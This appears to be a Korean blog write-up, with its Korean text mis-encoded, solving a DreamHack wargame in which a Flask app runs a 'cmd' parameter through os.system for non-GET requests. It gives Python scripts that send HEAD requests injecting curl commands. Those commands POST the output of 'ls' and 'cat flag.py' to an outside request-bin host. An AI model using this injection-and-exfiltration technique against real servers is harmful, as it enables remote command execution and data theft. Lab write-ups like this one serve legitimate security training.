https://dreamhack.io/wargame/challenges/73/
๋ฌธ์
Read FLAG file XD
ํ์
๋ค์ด๊ฐ๋ฉด ๊ฝค๋ ๋ถ์น์ ํ ํ๋ฉด์ด ๋์จ๋ค
url ์ฟผ๋ฆฌ์ ?cmd=๊ฐ ์ ์ถ๊ฐํ๋ ํด๋นํ๋ ๊ฐ์ด ๋์ค๋ ๊ฐ๋จํ ์ฌ์ดํธ๋ค
๋ฌธ์ ํ์ผ์ ๋ณด์
#!/usr/bin/env python3
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
๊ฝค๋ ์งง๊ณ ๊ฐ๋จํ ํ์ผ์ด๋ค.
url์์ cmd์ ๊ฐ์ด ์๋ค๋ฉด ๋งจ ์ฒ์ ํ๋ฉด์ ๋ณด์ฌ์ฃผ๊ณ
๊ฐ์ด ์๋ค๋ฉด ํด๋น cmd ๊ฐ์ ๋ฆฌํดํ๋ค.
์ด๋ ์์ฃผ ๋ฌ๋ฌํด๋ณด์ด๋ os.system์ด ์๋ค.
cmd์ ๋ด๊ฐ ๋ฃ์ ๊ฐ์ ๋ช ๋ น์ด๋ก ์คํ์ด ๊ฐ๋ฅํ๋ค!
๋จ, get์ด ์๋ ๋ฉ์๋๋ก ์ ๊ทผํด์ผ๋ง.
ํ์ด
Get ๋ง๊ณ ์ธ ์ ์๋ ๋ฉ์๋๋ฅผ ์์๋ณด์
options ๋ฉ์๋๋ฅผ ์ฌ์ฉํ๋ค.
import requests
url="http://host3.dreamhack.games:10243"
response = requests.options(url)
print(response)
print(response.headers.get)
print(response.text)
์ฃผ์ด์ง ์๋ํฌ์ธํธ์์๋ Head, Options, Get ๋ฉ์๋๋ฅผ ์ฌ์ฉ ๊ฐ๋ฅํ๋ค๊ณ ํ๋ค
get put delete post ๊ฐ์ ํํ ๋ฉ์๋๊ฐ ์๋ head, option ๋ฉ์๋์ ๋ํ ์ ๋ณด๋ ์๋ ๊ธ์ ์ฐธ๊ณ ํ์
https://tifferent.tistory.com/15
์ฌ์ฉ ๊ฐ๋ฅํ ๋ฉ์๋ ์ค head๋ฅผ ์ฌ์ฉํด๋ณด์
head๋ ์ ์๋ํ๊ณ ์๋ค
๋ค๋ง ์๋ต์ ๋ณธ๋ฌธ ์์ด ํค๋๋ง ํฌํจ๋์ด ์์ด์ ๋ช ๋ น์ด๊ฐ ์คํ๋๋๋ผ๋ ๋ด์ฉ์ ์ ์ ์๋ค (ใ ใ )
์ผ๋จ ๋ช ๋ น์ด๋ ์คํ๋๋ ๊ฒ ๊ฐ์ผ๋ ์์คํ ๋ช ๋ น์ด๊ฐ ์คํ๋๋ ๊ณผ์ ์์ ๋ด๊ฐ ๋ง๋ ์๋ฒ์ ์ฐ๊ฒฐํ๊ณ ์๋ต์ ์ด์ชฝ์ผ๋ก ๋ณด๋ด๋ฒ๋ฆฌ๋ฉด ๋๋ค
Request Bin์ ์ด์ฉํ์ฌ ์๋ฒ๋ฅผ ์คํํด์ฃผ๊ณ , ๋ช ๋ น์ด curl์ ์ด์ฉํด์ฃผ์๋ค.
Request Bin์ ๋๋ฆผํต์์ ์ ๊ณตํด์ฃผ๋ ๋ฌด๋ฃํด์ ์ด์ฉํ๋ค.
https://tools.dreamhack.games/requestbin
์์๋ก ์์ฑํ api๊ฐ ์ ์๋ํ๋ ๊ฒ ํ์ธ.
import requests
import urllib.parse
cmd='curl https://orkneuu.request.dreamhack.games'
encoded_cmd = urllib.parse.quote(cmd)
url=f"http://host3.dreamhack.games:12750?cmd={encoded_cmd}"
print(f"url: '{url}'")
response = requests.head(url)
print(response)
print(response.headers.get)
์์ url์ get ์์ฒญ์ ๋ณด๋ด๋ "curl https://orkneuu.request.dreamhack.games" ๋ช ๋ น์ด๋ฅผ ๋ง๋ค๊ณ
์ด๋ฅผ url ์ธ์ฝ๋ฉ ํด์ encoded_cmd์ ์ ์ฅํ๊ณ
์ด ์ธ์ฝ๋ฉ๋ ๋ฌธ์์ด์ ๋ฌธ์ ์ ํด๋นํ๋ url์ ๋์ cmd ์ฟผ๋ฆฌ์ ๊ฐ์ผ๋ก ๋ฃ์ด์ค์ ์คํํด๋ณด๋ฉด
๋ก๊ทธ๊ฐ ์ ์ฐํ๋ค.
Get์ด ์๋ head ๋ฉ์๋๋ฅผ ์ด์ฉํ์๊ธฐ ๋๋ฌธ์ ๋ฌธ์ ์ ์๋ฒ ๋ด์์
os.system("curl https://orkneuu.request.dreamhack.games")
์ด ์คํ๋ ๊ฒ ๊ณผ ๊ฐ๋ค
import requests
import urllib.parse
bin_api="https://wsufirp.request.dreamhack.games"
system_cmd="ls"
cmd=f'curl -X POST {bin_api} -d "$({system_cmd})"'
print(cmd)
encoded_cmd = urllib.parse.quote(cmd)
url=f"http://host3.dreamhack.games:12750?cmd={encoded_cmd}"
response = requests.head(url)
print(response)
print(response.headers.get)
post ๋ฉ์๋๋ฅผ ์คํํ๋ ๊ณผ์ ์์ curl ๋ช ๋ น์ด์ -d ์ต์ ์ ์ด์ฉํ์ฌ ls ๋ช ๋ น์ด๋ฅผ ๋ด์ ๋ณด๋ด์ค๋ค.
๋ช ๋ น์ด๋ฅผ ์คํํ ๊ฒฐ๊ณผ๊ฐ body์ ๋ด๊ฒจ์ ธ์ ๋ณด๋ด์ง๋ค!
curl -X POST https://mauvpvy.request.dreamhack.games -d "$(cat flag.py)"
์ฑ๊ณต
'๐ Cyber Security > Web Hacking (์นํดํน)' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[DreamHack] ๋๋ฆผํต ์นํดํน : pathtraversal (0) | 2023.08.14 |
---|---|
[DreamHack] ๋๋ฆผํต ์นํดํน : ๐ฑ simple-web-request (0) | 2023.08.14 |
[DreamHack] ๋๋ฆผํต ์นํดํน : Carve Party (0) | 2023.07.27 |
[DreamHack] ๋๋ฆผํต ์นํดํน: web-ssrf (0) | 2023.07.17 |
[DreamHack] ๋๋ฆผํต ์นํดํน : file-download-1 (0) | 2023.07.14 |